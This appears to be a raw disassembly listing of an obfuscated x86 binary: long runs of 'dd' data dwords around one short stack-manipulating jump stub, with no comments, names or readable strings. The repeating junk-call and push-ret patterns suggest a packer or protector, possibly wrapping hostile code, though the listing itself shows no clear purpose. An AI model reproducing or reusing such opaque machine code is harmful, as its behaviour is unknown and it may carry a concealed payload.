		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D5C35040h, 0CF91B71Bh
		dd 4124D77Dh, 5E99Fh, 62A50000h, 0E9EE422Fh, 85Bh, 0E8h
		dd 0ED815D00h, 63016E3h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 22C35646h, 77203B9h, 0BD81A4C2h, 62C1E15h
		dd 7D0h, 12C860Fh, 0D7810000h, 5D00FE74h, 189D9D8Bh, 6A062Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 23C141C3h, 0B23EE046h, 81F38B66h, 100E3h, 0BEF78100h
		dd 0B7A3423h, 81850FDBh, 1000000h, 2C24118Dh, 7BD8306h
		dd 63015h, 32840Fh, 8B660000h, 49BD33FEh, 0E9062C27h, 7Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9CC35040h
		dd 8529E35Ch, 62C0149h,	150785C7h, 10630h, 1510000h, 2C2DB595h
		dd 42E95E06h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0FAA3C350h,	0F8712503h
		dd 66FDBE66h, 150785C7h, 630h, 8E90000h, 0AC000000h, 86483859h
		dd 892CEE96h, 2C1969B5h, 9D9D8D06h, 6A062C18h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 3361C355h, 3DBF66E8h, 919D8971h, 81062C19h, 0FFFEFF23h
		dd 10E9FFh, 0F7490000h,	0D4AE67C4h, 0ECE8D98Ah,	445B9DD7h
		dd 8C661A49h, 6830FDBh,	8B000000h, 2C015DB5h, 4C3F606h
		dd 73840Fh, 810F0000h, 5, 3487C4BEh, 95FFFC35h,	62C29E9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D0C35545h
		dd 969D48B5h, 0CC3466ABh, 1FBF50CFh, 894B7041h,	6A2404h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0E32B37C3h, 10E9h, 5394F00h,	0F5DE7BF3h, 21E0CFDEh
		dd 9DD17ACEh, 41EE9A5h,	9D090000h, 62C083Dh, 0EE9h, 39735900h
		dd 9529A521h, 0D29B4C6Ah, 0B0EE580Ah, 29B58900h, 0E6062C2Ah
		dd 57006A70h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 31BA4119h, 0F3CAE9Fh, 685h, 41858900h, 0E4062C0Fh
		dd 56006A71h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0A7246D88h, 0F533656h, 389h, 0FFB70F00h
		dd 0D8B60F5Eh, 28E1B58Bh, 0BAFC062Ch, 6, 13DDBD8Bh, 0B589062Ch
		dd 62C19E9h, 820FC38Bh,	5, 0F0BF0F50h, 899D895Eh, 0C1062C0Bh
		dd 6A04E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 666178C3h, 4478DE81h, 8BE2F766h, 2C11FDB5h
		dd 6AD82B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 825BC351h, 0F93E9C9h, 28Eh, 505F5600h
		dd 52006A93h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0FF2C7336h, 2C1E15B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
		dd 0A481E06Fh, 8A0F2E2Ah, 3, 8BF0BF0Fh,	2C1B85B5h, 0B195FF06h
		dd 6A062C26h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 5BEAC355h, 0BD8B9E3Bh,	62C1C95h
		dd 0F68100B0h, 4AC56D5Bh, 18B0Fh, 0E6F90000h, 3E68170h
		dd 0E466EE75h, 50006A71h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 5369F3D3h, 892FBF9Dh
		dd 2C22B9B5h, 0E1BD8B06h, 3C062C2Dh, 49830F61h,	8B000002h
		dd 2C080DBDh, 0D8B60F06h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0B3C35040h, 301F4AEBh, 6FD3D4FDh, 6BAF08Bh
		dd 8B000000h, 6AC38BF0h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 26C4C351h, 3D560CB0h
		dd 81F2713Fh, 50087CD7h, 4E8C10Bh, 14E9h, 0F0ECB300h, 0FC1D293Dh
		dd 3859ED0h, 7FA6BF5Eh,	6ED57299h, 0AE8C3h, 457D0000h
		dd 0D4FF3447h, 3CB690D5h, 5FF38B66h, 0BFE2F766h, 19DF92FCh
		dd 0F60D82Bh, 683h, 8B0F00h, 8B000000h,	2C045D85h, 0BD8B6106h
		dd 62C13FDh, 53006A58h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 6EA19E14h, 0CE8h,	619C8900h, 0BBAB919Bh
		dd 0E1F855FFh, 6D950169h, 5E062C25h, 880FD82Bh,	154h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 98C35545h, 6541EABBh
		dd 1D259D89h, 7B9062Ch,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0CDC352h
		dd 6E9h, 45AD0000h, 83370BB7h, 6A00C1h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0D46CA9C3h
		dd 0FFCC0C0h, 585h, 0A020BF00h,	0B604528h, 2C1B619Dh, 0E1B58B06h
		dd 61062C25h, 860FD93Bh, 0BCh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 55C35343h, 92C84BF3h, 64EF0EA2h
		dd 3145BD8Bh, 8C66062Ch, 68E0FD9h, 1000000h, 2C1A11B5h
		dd 4C1F606h, 72840Fh, 0B5890000h, 62C14F5h, 29E995FFh
		dd 0B589062Ch, 62C2D5Dh, 51006A5Bh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 4D84A682h, 0CBECDCh, 7D858927h
		dd 2B062C26h, 57006AC3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 52EB1B29h, 8343Dh, 9860F00h, 0F8000000h
		dd 0BE9h, 0F38B6600h, 9D09C08Bh, 62C06E1h, 0D88BC38Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 11C35646h
		dd 8B60532Bh, 2C2BADBDh, 820F06h, 61000000h, 8B60535Eh
		dd 2C09FD85h, 9E906h, 0B080000h, 800E8D26h, 61F74A53h
		dd 0ED85C75Fh, 3F062C04h, 6A705BA1h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 504EC356h
		dd 0F92F1BBFh, 0B50B5F06h, 62C05B9h, 0B58BC08Bh, 62C1B09h
		dd 1E15BD81h, 7D0062Ch,	850F0000h, 32h,	0AE9h, 0C266D100h
		dd 0CCF7C10Dh, 0FFC75CA0h, 2C1E1585h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0B5FF532Ah, 62C1E15h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 92C35242h, 0B195FFDDh, 8B062C26h, 2C2429B5h
		dd 6A9006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 88E805C3h, 0BD31EC4Eh, 62C2D49h, 1961BD8Bh
		dd 12E8062Ch, 49000000h, 0B0A188E1h, 8E10E6B1h,	64512523h
		dd 0EA3FD063h, 17820F7Dh, 0E9000000h, 12h, 2D1545DBh, 704B3B96h
		dd 15A01B90h, 28B3EB1Ah, 0E95EF88Ch, 10h, 7DCF91B7h, 9F4124D7h
		dd 47E9BDFEh, 0E402BAE8h, 0E99DB060h, 7, 0CDA0E3BEh, 2BE31071h
		dd 2C20519Dh, 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0EED7A7C3h, 13E863h, 9FC80000h
		dd 5E98A9FFh, 7E623A26h, 9F5F17B4h, 0BE5DC8CCh,	2AC681F4h
		dd 5F0DC787h, 0F5F68166h, 0E19D8999h, 0E9062C1Bh, 0Dh
		dd 0E0F1BB55h, 5A12B933h, 0BA9C2CF9h, 52006A4Eh, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 10E964h, 7BC40000h, 3A1CED59h, 0A0096590h, 9A9D24F3h
		dd 0D5E96C92h, 6AFFFFF7h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0BD1C355h, 2C2199B5h
		dd 89F18B06h, 2C341185h, 61B53306h, 60062C19h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 25C35242h, 0FFFEB919h
		dd 8B66FFFFh, 198D21D6h, 6A062C08h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 5866C356h
		dd 0B9E9375Ah, 95891AB8h, 62C2629h, 12E98D21h, 6A062Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0FD0EA0C3h, 902B5612h, 8880Fh, 9530000h, 2C20F585h
		dd 0AE95F06h, 0D9000000h, 0A49C36F1h, 3321FFE7h, 198D8B28h
		dd 6A062C08h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0F17DC357h, 3334212h, 86EAEE2Ch
		dd 0E860Fh, 9E90000h, 0FE000000h, 0DA024854h, 7EBD85B8h
		dd 0D860Fh, 8E90000h, 16000000h, 7983EFC3h, 8342A12Ah
		dd 850F01E1h, 22h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0DAC35141h, 2F099A1Ah, 8D8B23E3h, 62C12E9h
		dd 48E0Fh, 0BE660000h, 0E183FDBAh, 3850F01h, 0F000000h
		dd 6061C7B7h, 31BD8960h, 1062C08h, 2C1FF585h, 0FEB96106h
		dd 6AFFFFFFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0F9BC352h, 0C83h, 68F0F00h, 9000000h
		dd 2C1A11BDh, 0DBB70F06h, 2A398D21h, 9509062Ch,	62C267Dh
		dd 240D8D21h, 6A062Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0F4D807C3h, 8166B5F0h, 8B2DE1C3h
		dd 2C2A398Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 24F13752h, 0C185892Bh, 83062C0Ah
		dd 850F01E1h, 24h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 41C35141h, 2CBE45DAh,	0CBE8801Bh, 240D8D8Bh
		dd 8B66062Ch, 12E8DEh, 5AC70000h, 29E6689Ch, 0FA1ABA90h
		dd 0FF1CE034h, 83B1F70Ch, 14F5B589h, 835F062Ch,	850F01E1h
		dd 23h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
		dd 80C35141h, 42AD17C2h, 612272F4h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0FB80A686h
		dd 5D958BDBh, 89062C0Ah, 2C34118Dh, 0FFFEB906h,	858BFFFFh
		dd 62C1629h, 1AF18D21h,	8D89062Ch, 62C3145h, 1A498D21h
		dd 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 8D8B90C3h, 62C1AF1h, 1830Fh, 83F50000h, 850F01E1h
		dd 5, 53DE8166h, 498D8B2Ah, 6A062C1Ah, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 85A8C353h
		dd 9D89C62Dh, 7E96Dh, 74CF0000h, 6DF4731Eh
		dd 83F98B18h, 850F01E1h, 34h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0EEC35040h,	0F94CBDB3h, 0AE8h
		dd 291DC400h, 0FB41683Dh, 667C01EAh, 5F6CF1B8h,	9D896061h
		dd 62C1641h, 0FFFFFEB9h, 81BD09FFh, 21062C21h, 2C04ED8Dh
		dd 0FE806h, 1750000h, 9F403BD5h, 0F947B0E7h, 0C2565B97h
		dd 128E0F1Dh, 0E8000000h, 0Ch, 456C2893h, 56074690h, 7D8966D6h
		dd 85015A5Bh, 62C2149h,	189D8D21h, 6A062Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0C01098C3h
		dd 250CB52Ch, 8B34A1E4h, 2C04ED8Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0B9C29A6Dh
		dd 83159763h, 850F01E1h, 2Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 6EC35242h, 906BFF51h, 0D59529CCh
		dd 8B062C12h, 2C04C9B5h, 8D8BF906h, 62C189Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 31C35545h, 31DFFBF4h
		dd 2C1E0DB5h, 0DE806h, 6AD00000h, 8D954A39h, 0F30996FBh
		dd 6000173Fh, 3131BD89h, 9D89062Ch, 62C2201h, 0E1835E61h
		dd 11850F01h, 60000000h, 11458529h, 8E0F062Ch, 3, 61F2BF0Fh
		dd 6A6061h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 2291E0C3h, 1CEA9C7Ch, 81BBE0E9h, 32A6DBDEh
		dd 1585C71Fh, 0D0062C1Eh, 6A000007h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0A8C5C356h
		dd 61764AD0h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 16h,	5EC35646h, 7EBD610h, 0E99D61h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 4CEDC352h, 0EFA9FC64h, 6AC1B70Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F4BEC356h
		dd 75D697CEh, 0C59AAE95h, 8D2976B0h, 62C15E5h, 5E9C18Bh
		dd 0F6000000h, 4A91C0h,	557E9h,	91B1F800h, 2BB58F40h, 0C64E29DAh
		dd 5FEBC475h, 0FB815D0Eh, 66831CAAh, 2B3048Ah, 0A051A224h
		dd 3DEE3FC3h, 0D986D7F5h, 9EB60C4Bh, 2D837F2h, 39579F04h
		dd 0DA818391h, 9DAE3448h, 17F374CCh, 2DE1391h, 12C3247Ch
		dd 304ACCAh, 288BBFBBh,	0DE0ADEA9h, 86C8D67Eh, 0C267F347h
		dd 37C43131h, 32E5C80Ah, 8D0E66D6h, 928129B3h, 49914E49h
		dd 4C29DA2Bh, 0E9C677C8h, 0DEBCBD65h, 0D0A9DE5Ch, 54AC9C44h
		dd 0B40929Ch, 35C19A2Dh, 0E53D2DD5h, 0FBD88990h, 8A41A59h
		dd 76E631C2h, 86639816h, 8B49AA02h, 72C80749h, 9431C208h
		dd 855A924h, 57531C2h, 0C6E42CADh, 73C70648h, 9331C208h
		dd 870C605h, 229231C2h,	0A4B26AC2h, 2B6E3EA2h, 0F58BC94Fh
		dd 11C301C5h, 81FC7772h, 0F445D028h, 0FF31C2F0h, 0F0F199B7h
		dd 0E1E28AA8h, 0EC057F05h, 0CF5B342Dh, 37D73727h, 0ABAD9772h
		dd 0FCBBC69Dh, 2DA800A7h, 5E55C147h, 2589659Ah,	0F8B642A8h
		dd 6AC2220Ah, 3340h, 579F0200h,	32869139h, 1031C2BAh, 0B3994C4Bh
		dd 6A5E5651h, 1, 3BC59F2Ch, 2EB89293h, 20AC8586h, 59408978h
		dd 3613AE88h, 500152B2h, 0AF99EA08h, 953DC39Fh,	0B230BA94h
		dd 0C51D9F7Dh, 6E70420Dh, 62A53B67h, 0AD025AB7h, 0CBE6E8EAh
		dd 0D97D59C5h, 0A6C40C7Dh, 35B60EFEh, 0D182D359h, 0C2C36B89h
		dd 0A0B75FE7h, 0FFD58087h, 965E556Ch, 66h, 3DC39F58h, 31B99495h
		dd 0B6519A89h, 0F779578Ch, 0AB421E9Fh, 96E747D1h, 0DB8309E5h
		dd 0CD7501DAh, 0D8FA9DB6h, 973FC9A3h, 0FED44FA7h, 955E564Fh
		dd 61h,	5FC39F57h, 9589D2EBh, 33BE8708h, 0B2CBFC3Ah, 4647EF4Fh
		dd 6567E569h, 48B8D0AEh, 26DE3611h, 62A1E3E1h, 31C26DECh
		dd 1166BE2Eh, 0F77D5976h, 0C59FBCA6h, 0DFBBBD3Bh, 0DF43DEDh
		dd 4C5FD052h, 53B3E9C7h, 642096D5h, 0F26231C2h,	66D7E29Ah
		dd 6231C264h, 5EBFA9Dh,	0BC5E5574h, 1, 3CC49F7Eh, 9518694h
		dd 0FB5343EBh, 6C14327Ah, 914E4962h, 7EDD2EB6h,	4FB18EE9h
		dd 0A04545C7h, 1C7CDCC4h, 0F4E65F9Eh, 0C63637EEh, 93DB101Eh
		dd 85DDCD75h, 4180BC04h, 37EEFACDh, 0EC3D9D0Dh,	2DD5F33Bh
		dd 0EEFAAE22h, 37D29737h, 63B4D21Ah, 0AE2463A5h, 0CE37EEFAh
		dd 0EEFA3B8Fh, 8FEB5B37h, 0FE46C71Fh, 0EF3738E0h, 0C55E29D1h
		dd 96C50DC2h, 80D131BDh, 2A11EFD5h, 169A658h, 92680000h
		dd 5E92BE90h, 0F34B8CCFh, 67E52FC4h, 0EEA94F28h, 57FF6F37h
		dd 47754749h, 0C141D6A3h, 0A80060E4h, 70C1DF27h, 0FC3B77BFh
		dd 37EECC86h, 50F858C8h, 0AB310D42h, 0C4A21303h, 2169EA42h
		dd 0F7905B03h, 0C8F73F10h, 0F47A56EBh, 9CFCEC94h, 5CF91C1Eh
		dd 72E1761Fh, 0C6FBB91Ah, 8E0961EDh, 5829A7A8h,	355Fh
		dd 5DF12100h, 0C0569513h, 42B1C2BAh, 0AB1F2AD2h, 0FCB1C2BAh
		dd 699EA463h, 7161098Bh, 0C54EA19h, 0F57F598Eh,	77055D4Dh
		dd 0C2BAE238h, 63B42431h, 0CE54h, 5D926600h, 75A4FC80h
		dd 0C53978E0h, 0E331C2BAh, 0C2BA2EA4h, 0A4007031h, 1756D434h
		dd 37EECA22h, 7274F262h, 61EC5330h, 0C57DD562h,	1DA982B7h
		dd 5B38A775h, 75EFB66h,	94EA29A7h, 0B637EE91h, 256DEE46h
		dd 0C3F8B607h, 86075FE9h, 6D78203Eh, 37EE901Eh,	687920E5h
		dd 405B2420h, 45BD9681h, 2080E06Ch, 129FA0A2h, 3CAE40BDh
		dd 8F2483E4h, 4685C745h, 37EE9CF0h, 0BC4AA212h,	65B1787Ah
		dd 3A36BE8Fh, 0C18A57E2h, 1A8A31DEh, 0B297172h,	59405963h
		dd 0C868467Bh, 9EF93589h, 85E5553Dh, 7703DCDDh,	0FB90BF17h
		dd 0F7F433B1h, 53BAE9Ch, 0C36BF7D0h, 0A01655D3h, 0E2234ED2h
		dd 2DAE1A72h, 0ED6BCB51h, 0D2166CABh, 0C838234Eh, 0F1250F70h
		dd 5294125Ch, 0C2BABF13h, 176FDF31h, 67454789h,	681EB55Bh
		dd 0C623AE06h, 5637F27Fh, 0F53D3EE6h, 8DD586D7h, 0E3BCF16Fh
		dd 7F84FA39h, 56C637F2h, 65E4EF6h, 60EE434Eh, 0E22B7854h
		dd 0C4E22A27h, 5C7AC273h, 4EDAB3B4h, 3BBD9BD0h,	934BA393h
		dd 0BF353789h, 281FDD2Bh, 0AB6EC31Bh, 0FF506EB6h, 8FD7064Eh
		dd 5BD9C971h, 105AA61Ch, 1878E863h, 2D1170h, 4D4F0000h
		dd 0CB37D1DDh, 0E45A9976h, 266310FBh, 44FE56B6h, 0BD115092h
		dd 0BB31C2BAh, 0C2BA067Ch, 7CD84831h, 7D8BB40Ch, 3EE66C48h
		dd 9F3CF64Eh, 8F903858h, 80812947h, 76771FA3h, 6D6E1698h
		dd 62630B91h, 57580086h, 494AF27Eh, 3D3EE66Eh, 1531D963h
		dd 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0AA682424h, 89000054h
		dd 8956241Ch, 4C681E6h,	81000000h, 4EEh, 24348700h, 242C895Ch
		dd 24A7B951h, 89570630h, 5FFB89CFh, 2C8B5459h, 4C48124h
		dd 53000000h, 290ABF57h, 7C3115F1h, 8F5F0424h, 75810845h
		dd 0F1290A08h, 242C8B15h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		dd 0F26C1F56h, 0D02500D9h, 0E4529341h, 302976B8h, 0FFC50306h
		dd 19DFB6E0h, 0EF27BC01h, 0FFD5380Bh, 8F4FEB72h, 0ABFA251Ch
		dd 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h
		dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh,	424400A6h
		dd 0EA1A004Ah, 0D5A3h, 199C0000h, 0FEBDh, 0FBFE3Bh, 0B4870000h
		dd 202352DDh, 339C9ED9h, 0B0E977E7h, 6A000012h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 818EC350h, 1B4B35D1h, 0A1BD8331h, 62C09h, 8D850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 3D6602C3h, 958B030Fh, 62C1511h, 0B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0E8E1AE2Ah, 0Dh, 0A0228DF2h,	0E99C91D2h, 1E5DE860h
		dd 59E7B2FAh, 6A0004C2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0FA26C356h,	194E1FA8h
		dd 0E28166E1h, 8166E310h, 8BBED3C7h, 11BD8BC0h,	83062C0Dh
		dd 2C1D65BDh, 9750006h,	23D9BD83h, 7400062Ch, 8B535013h
		dd 4D0B8C0h, 9D8D0000h,	62EAF40h, 585BD3FFh, 23D9BD83h
		dd 7400062Ch, 0B8535011h, 4D0h,	0AE8D9D8Dh, 0D3FF062Eh
		dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 89C76DC3h, 2C32AD8Dh, 6AC08B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 6155C351h, 0B73BD212h, 8B0343B1h, 2C128DBDh,	58858D06h
		dd 0B106302Ah, 8A0F90FEh, 2, 9050C88Bh,	2751B589h, 858D062Ch
		dd 6302A15h, 20F5958Bh,	0E950062Ch, 0Fh, 400AEA1Ah, 9B63DD94h
		dd 238AE67Bh, 89B99C41h, 81662404h, 0FFE4D6C2h,	2C155595h
		dd 0CA816606h, 448B43FAh, 6A0424h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0D38E80C3h, 475F0F49h
		dd 0B91380CEh, 8F5BBD4h, 2A408589h, 6A0630h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 5A79D3C3h
		dd 0A8F28166h, 24448BABh, 55006A08h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 23ECD4F8h
		dd 6A898D83h, 218D33C8h, 89062C2Ah, 302A5485h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0CDB5EF45h, 19159D31h, 0BD83062Ch, 62C1E55h,	0B7850F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 224AC355h, 504AB207h, 0AD85C6CDh
		dd 47062C21h, 68FB8B66h, 95B4E36Eh, 481EA8Ah, 0E5C46424h
		dd 56006A3Eh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8BC255A9h, 3DB5FFD7h, 8B062C07h,	2C18998Dh
		dd 0C858D06h, 0B6062F86h, 6AD0FFB3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6703C357h
		dd 0EBE563A7h, 69BD01B4h, 0E9062C25h, 0Eh, 21A31C04h, 71D7206Fh
		dd 8FA60F1Ah, 85892AA3h, 62C1E55h, 12098D8Bh, 0BD83062Ch
		dd 62C0111h, 0D3850F00h, 81000000h, 4E42BBF7h, 0AD85C678h
		dd 47062C21h, 2185BD8Bh, 4E8062Ch, 0E2000000h, 508A0FB5h
		dd 0BE8h, 0DC9F6F00h, 6D55AC6h,	5EB5B6ABh, 8B59CDB1h, 50042444h
		dd 52506052h, 585A310Fh, 0F615851h, 6E831h, 865C0000h
		dd 9D3E0532h, 0CE8h, 8065A100h,	0A6308200h, 0E0224D9Ah
		dd 5A5A5F7Ah, 0BF008B58h, 2B8869B1h, 4244489h, 0ADB96656h
		dd 6A585958h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0A66BC355h, 70F51053h,	1AB98D89h
		dd 0B5FF062Ch, 62C073Dh, 10E9h,	0B20A4C00h, 4BD9FF8Fh
		dd 5ED8012Eh, 0F65BF7E6h, 0C858D8Ch, 66062F86h,	0D0FFD18Bh
		dd 19F98D01h, 8589062Ch, 62C0111h, 3385BD8Bh, 0BD83062Ch
		dd 62C1C75h, 28850F00h,	6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 978C355h
		dd 0C59BF55Dh, 93CB9D87h, 23CDB509h, 85C6062Ch,	62C21ADh
		dd 2D8D8B56h, 0E8062C16h, 4, 0D41F6D39h, 2870Fh, 0D3B60000h
		dd 14E950h, 0DE510000h,	2AFF0AF3h, 0B017EFF7h, 64A48B17h
		dd 0C06F4194h, 448BCB95h, 8B0424h, 5974B657h, 4244489h
		dd 6A585A57h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0FDCC352h, 9589FEB7h, 62C14ADh
		dd 73DB5FFh, 6A062Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 809CF2C3h, 3830FD1h, 66000000h
		dd 858DC88Bh, 62F860Ch,	12199501h, 0D0FF062Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 72C35242h, 0E9871161h
		dd 0AA6FCBE9h, 96BA6696h, 0CF8166D6h, 85893DF4h, 62C1C75h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BBC35242h
		dd 0C6D6A9F5h, 2C21AD85h, 0B5296C06h, 62C1371h,	4E8h, 5708300h
		dd 0FE8B66DBh, 0DE850h,	0B3120000h, 5A9E9F21h, 318D9B3Dh
		dd 66A2F948h, 5A3BE1BFh, 424448Bh, 0AE8h, 74A7A200h, 577068B6h
		dd 0B9DDFF73h, 0CB63B22h, 56008B5Ah, 8B46B160h,	895F61D1h
		dd 0E9042444h, 7, 0FA091F99h, 58BEEC01h, 2D1D8589h, 0B589062Ch
		dd 62C2029h, 1671B5FFh,	8C0F062Ch, 3, 8DCABF0Fh, 2C3A0C85h
		dd 0FFCE8B06h, 89D48AD0h, 302A4485h, 0B7BA6606h, 60BD83B5h
		dd 6302Ah, 95850Fh, 82B20000h, 21AD85C6h, 8149062Ch, 8124C9F1h
		dd 546A6855h, 0B9664F9Dh, 481F691h, 77D57F24h, 51006A3Ch
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0F757E4A3h, 0FFD1B70Fh, 2C1671B5h, 0BE806h, 26820000h
		dd 82AB6D6h, 0C6DE9A91h, 2800FE4h, 53000000h, 858D5A59h
		dd 62C3A0Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	8BC35141h, 66D0FF30h, 89232CB9h, 302A6085h, 39958B06h
		dd 6A062C07h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 6722B90Dh, 34680695h, 51BFEE20h
		dd 59CE8B66h, 0CC240481h, 814011EFh, 4CECAD9h, 0D0D06837h
		dd 8B66CFCDh, 240481D7h, 30332F30h, 23F9B589h, 6A062Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B8C35141h
		dd 622B7811h, 9D46F645h, 14E8h,	0B3B77D00h, 0CB6A0AB4h
		dd 0E9CCEE76h, 30509B0h, 0AB4FCDDEh, 0BE856E9h,	0F6000000h
		dd 31C0EB71h, 0D0037725h, 595F261Fh, 9D95FF5Fh,	0E9062C26h
		dd 5, 0EED8B1AAh, 5085897Eh, 6A06302Ah,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 150CC357h
		dd 85291AAEh, 62C0A8Dh,	2A4885C7h, 630h, 0B5890000h, 62C06ADh
		dd 0D08B006Ah, 5E4FE868h, 81E6B2C6h, 0B0182404h, 0D68B39A2h
